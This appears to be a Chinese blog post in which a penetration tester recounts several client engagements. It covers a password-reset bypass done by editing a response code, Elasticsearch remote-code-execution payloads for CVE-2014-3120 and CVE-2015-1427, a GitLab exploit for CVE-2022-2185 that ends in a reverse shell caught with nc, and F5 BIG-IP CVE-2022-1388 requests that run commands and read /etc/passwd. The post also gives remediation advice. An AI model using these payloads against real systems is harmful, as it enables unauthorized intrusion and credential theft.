盘点几次工作中遇到的渗透测试记录，万字详解完整的渗透流程！

最新推荐文章于 2025-11-24 22:57:16 发布

原创最新推荐文章于 2025-11-24 22:57:16 发布 · 885 阅读

15 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #web安全 #渗透测试 #计算机 #黑客技术 #编程 #经验分享

0x00 前言

熟悉我的朋友都知道，我目前在测评机构做专职渗透测试，平常的工作也只是侧重于验证漏洞存在即可，并不太涉及对漏洞的深入利用以及实际能产生的危害。但作为渗透爱好者，怎么可能仅仅满足于此。在时间、条件允许的情况下，我会在测评对象的范围内尽可能地找出高危，追求getshell，把客户系统当作靶场来搞（狗头）。本文记录了最近一段时间在工作中遇到的一些漏洞（相关漏洞目前均已修复，相关截图均已进行脱敏处理），没啥技术含量，纯脚本小子有手就行，大佬勿喷。

01 渗透测试记录

一、某企业密码找回功能存在用户名枚举和任意用户密码重置

功能界面如下：

在这里插入图片描述

1.用户名枚举

随意输入一个手机号，点击获取验证码，提示如下：

在这里插入图片描述

如果号码存在，则会提示验证码发送成功。此处可以使用burp抓取获取验证码的包，然后用手机号码字典不断替换手机号码来枚举存在的用户名。

2.任意用户密码重置

输入提供的测试账号，点击发送验证码，验证码随意填入123456，填好修改的密码qwe123!@#后点击提交，首先会检查输入的验证码是否正确：

在这里插入图片描述

拦截此包的响应包，响应包返回2，这里改为1：

在这里插入图片描述

放行数据包，浏览器中提示找回密码成功：

在这里插入图片描述

使用刚才填入的密码qwe123!@#成功登录：

在这里插入图片描述

此处找回密码的逻辑是先发送一个数据包验证手机验证码是否正确，响应包返回1才会再发送重置密码的数据包。这里如果是直接发送重置密码的数据包，是否也能重置成功呢？

我尝试了下，直接发送重置密码的数据包，此处密码为md5加密，密码原文为abc#123456:

在这里插入图片描述

返回为成功，使用abc#123456确实登录成功。然而这并不意味着，无论何时，直接发送重置密码的数据包都能成功的，这里能成功，是因为手机验证码一般都会有个有效时间，大概发送验证码后的十分钟内，直接发送重置密码的包是能重置成功的。十分钟后虽然返回也是成功，但是登录不上。

给的修复建议是：

1.后端校验验证码是否正确；

2.去掉单独校验验证码的数据包，将验证码与修改后的密码在同一数据包中发送给后端，后端校验验证码正确后直接修改密码，不二次发包。

二、某企业内网存在Elasticsearch远程代码执行漏洞

这个是使用内网扫描神器fscan扫描出来（内网就是fscan一把梭哈），起先扫描的是fscan默认的端口，没啥成果，然后全端口扫描发现Elasticsearch的两个RCE。扫到洞，接下来不就是有手就行的事了嘛，payload在p神的vulhub里面就有。

1.Elasticsearch远程代码执行漏洞（CVE-2014-3120）

payload：

{  
    "size": 1,  
    "query": {  
      "filtered": {  
        "query": {  
          "match\_all": {  
          }  
        }  
      }  
    },  
    "script\_fields": {  
        "command": {  
            "script": "import java.io.\*;new java.util.Scanner(Runtime.getRuntime().exec(\\"id\\").getInputStream()).useDelimiter(\\"\\\\\\\\A\\").next();"  
        }  
    }  
  }

复现截图：

在这里插入图片描述

2.Elasticsearch Groovy 沙盒绕过远程代码执行漏洞（CVE-2015-1427）

payload：

{"size":1, "script\_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"id\\").getText()"}}}

复现截图：

给的修复意见就是升级咯~

三、某企业外网Gitlab存在SSRF和远程代码执行漏洞

这两个洞是在被测系统所部署的服务器开放的另一个端口上发现的。SSRF是看到版本后去搜的，RCE是使用nuclei扫描提示漏洞存在，然后去网上找脚本来复现的（脚本小子用着别人的脚本，真香）

1.Gitlab CI Lint API未授权 SSRF漏洞(CVE-2021-22214)

Burp中发送如下数据包，dnslog中收到请求：

该服务器是一台华为云服务器，没有内网，所以即使是存在SSRF也不能做什么事。SSRF我觉得除了用来探测内网，读取文件实际中就没啥用了，什么SSRF攻击内网，SSRF打redis未授权getshell，靶场中才会有，实际根本遇不到。

2.Gitlab授权认证远程代码执行漏洞（CVE-2022-2185）

项目地址：https://github.com/star-sg/CVE/tree/master/CVE-2022-2185https://github.com/ESUAdmin/CVE-2022-2185

漏洞分析复现：https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/

Gitlab漏洞汇总:https://xz.aliyun.com/t/11690

复现过程：

首先注册一个pentest/pentest@1234用户，在vps上启动一个FAKE_SERVER:

在这里插入图片描述

Nc监听12345端口：

运行poc脚本，运行反弹shell命令：

在这里插入图片描述

FAKE_SERVER上收到来自目标机器的请求：

在这里插入图片描述

4-5分钟后nc 接受到目标反弹回来的shell:

在这里插入图片描述

给的修复建议就是升级咯~

四、某企业内网F5-BIG-IP 远程代码执行漏洞（CVE-2022-1388）

该漏洞允许未授权的攻击者通过接口对BIG-IP系统访问，并能执行任意系统命令、创建、删除文件以及关闭服务

payload1：

POST /mgmt/tm/util/bash HTTP/1.1    
Host: ip:port  
Authorization: Basic YWRtaW46    
Connection: keep-alive, X-F5-Auth-Token    
X-F5-Auth-Token: 0    
  
{"command": "run" , "utilCmdArgs": " -c 'id' " }

payload2：

POST /mgmt/tm/util/bash HTTP/1.1    
Host:ip:port   
Authorization: Basic YWRtaW46    
Connection: keep-alive, X-F5-Auth-Token    
X-F5-Auth-Token: 0    
{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }

在这里插入图片描述